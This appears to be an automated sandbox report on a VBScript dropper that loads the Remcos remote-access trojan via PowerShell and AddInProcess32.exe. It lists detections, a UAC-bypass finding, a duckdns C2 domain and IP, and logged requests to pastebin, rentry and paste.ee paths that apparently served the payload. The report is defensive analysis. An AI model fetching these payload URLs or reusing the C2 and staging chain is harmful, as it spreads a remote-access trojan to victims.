Windows Analysis Report
asegurar.vbs

AI detected suspicious sample

Source: Yara match	File source: 8.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.260356ab680.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.260356ab680.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2961914920.0000000002C1E000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2961016698.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2959285882.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1927741950.0000026035520000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1927741950.0000026035581000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 980, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 7372, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_004338C8 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,

8_2_004338C8

Source: powershell.exe, 00000003.00000002.1927741950.0000026035520000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_63aeaf56-9

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 8.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.260356ab680.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.260356ab680.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2959285882.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1927741950.0000026035520000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1927741950.0000026035581000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 980, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 7372, type: MEMORYSTR

Privilege Escalation

Contains functionality to bypass UAC (CMSTPLUA)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_00407538 _wcslen,CoGetObject,

8_2_00407538

Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 164.132.58.105:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 164.132.58.105:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0040928E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	8_2_0040928E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0041C322 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	8_2_0041C322
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0040C388 FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	8_2_0040C388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_004096A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	8_2_004096A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_00408847 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	8_2_00408847
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_00407877 FindFirstFileW,FindNextFileW,	8_2_00407877
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0040BB6B FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	8_2_0040BB6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_00419B86 FindFirstFileW,FindNextFileW,FindNextFileW,	8_2_00419B86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0040BD72 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	8_2_0040BD72

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_00407CD2 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

8_2_00407CD2

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 00007FFD9B97D896h		3_2_00007FFD9B97D7F8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 00007FFD9B97AD43h		3_2_00007FFD9B97ACD5

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49741 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49747 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49758 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49755 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49762 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49750 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49746 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49749 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49745 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49751 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49744 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49766 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49761 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49752 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49759 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49756 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49753 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49764 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49754 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49748 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49777 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49783 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49760 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49743 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49742 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49794 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49805 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49816 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49824 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49844 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49853 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49861 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49757 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49872 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49881 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49889 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49899 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49910 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49917 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49833 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49940 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49951 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49957 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49965 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49974 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49980 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49989 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50003 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50009 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49997 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50018 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50032 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50026 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50038 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50044 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50051 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50064 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50070 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50073 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50058 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50074 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50075 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50080 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50083 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50086 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50076 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50078 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50077 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50091 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50079 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50072 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50092 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50087 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50067 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50081 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50090 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50085 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50088 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50069 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50084 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50089 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50082 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50093 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49923 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49934 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50068 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:50071 -> 181.236.112.169:2001
Source: Network traffic	Suricata IDS: 2020423 - Severity 1 - ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound : 188.114.97.3:443 -> 192.168.2.4:49736
Source: Network traffic	Suricata IDS: 2020425 - Severity 1 - ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound M2 : 188.114.97.3:443 -> 192.168.2.4:49736
Source: Network traffic	Suricata IDS: 2858295 - Severity 1 - ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain) : 188.114.97.3:443 -> 192.168.2.4:49736

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: sost.duckdns.org

Connects to a pastebin service (likely for C&C)

Source: unknown	DNS query: name: pastebin.com
Source: unknown	DNS query: name: paste.ee

Potential dropper URLs found in powershell memory

Source: powershell.exe, 00000003.00000002.1886765737.0000026025ADB000.00000004.00000800.00020000.00000000.sdmp

String found in memory: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none'

Uses dynamic DNS services

Source: unknown

DNS query: name: sost.duckdns.org

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1

Yara detected Generic Downloader

Source: Yara match	File source: 3.2.powershell.exe.26026fe03e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.2602596b090.1.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.4:49741 -> 181.236.112.169:2001

Source: global traffic	HTTP traffic detected: GET /raw/4B83LcVU HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /shqm6g9p/raw HTTP/1.1Host: rentry.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/Rrk2f/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.20.3.235 104.20.3.235
Source: Joe Sandbox View	IP Address: 164.132.58.105 164.132.58.105
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: COLOMBIATELECOMUNICACIONESSAESPCO COLOMBIATELECOMUNICACIONESSAESPCO
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic

Suricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.4:49736 -> 188.114.97.3:443

Source: global traffic	HTTP traffic detected: GET /raw/J6uRjZrv HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /vsm4ofxs/raw HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: rentry.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_00404B96 WaitForSingleObject,SetEvent,recv,

8_2_00404B96

Source: global traffic	HTTP traffic detected: GET /raw/J6uRjZrv HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /vsm4ofxs/raw HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: rentry.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/4B83LcVU HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /shqm6g9p/raw HTTP/1.1Host: rentry.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/Rrk2f/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: pastebin.com
Source: global traffic	DNS traffic detected: DNS query: rentry.org
Source: global traffic	DNS traffic detected: DNS query: paste.ee
Source: global traffic	DNS traffic detected: DNS query: sost.duckdns.org

Source: powershell.exe, 00000003.00000002.1886765737.0000026025AD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: HTTPS://PASTE.EE/D/RRK2F/0
Source: AddInProcess32.exe	String found in binary or memory: http://geoplugin.net/json.gp
Source: powershell.exe, 00000003.00000002.1927741950.0000026035520000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1927741950.0000026035581000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.2959285882.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp/C
Source: powershell.exe, 00000003.00000002.1927741950.0000026035581000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1786360295.00000201819E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1798573819.00000201901B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1798573819.0000020190072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000003.00000002.1886765737.0000026025AD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://paste.ee
Source: powershell.exe, 00000003.00000002.1886765737.0000026026B34000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1886765737.00000260271BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com
Source: powershell.exe, 00000006.00000002.1786360295.000002018022D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.1886765737.0000026027222000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1786360295.0000020181950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://rentry.org
Source: powershell.exe, 00000001.00000002.1956266519.000002238A811000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1886765737.0000026025511000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1786360295.0000020180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.1803498782.00000201EA48A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.o
Source: powershell.exe, 00000006.00000002.1786360295.000002018022D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000001.00000002.1956266519.000002238A865000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000001.00000002.1956266519.000002238A87B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1886765737.0000026025511000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1786360295.0000020180001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000003.00000002.1886765737.0000026025ADB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee
Source: powershell.exe, 00000003.00000002.1886765737.0000026025ADB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee;
Source: powershell.exe, 00000003.00000002.1886765737.0000026025ADB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com
Source: powershell.exe, 00000003.00000002.1886765737.0000026025ADB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com;
Source: powershell.exe, 00000006.00000002.1798573819.0000020190072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.1798573819.0000020190072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.1798573819.0000020190072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000003.00000002.1886765737.0000026025ADB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com
Source: powershell.exe, 00000003.00000002.1886765737.0000026025ADB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com;
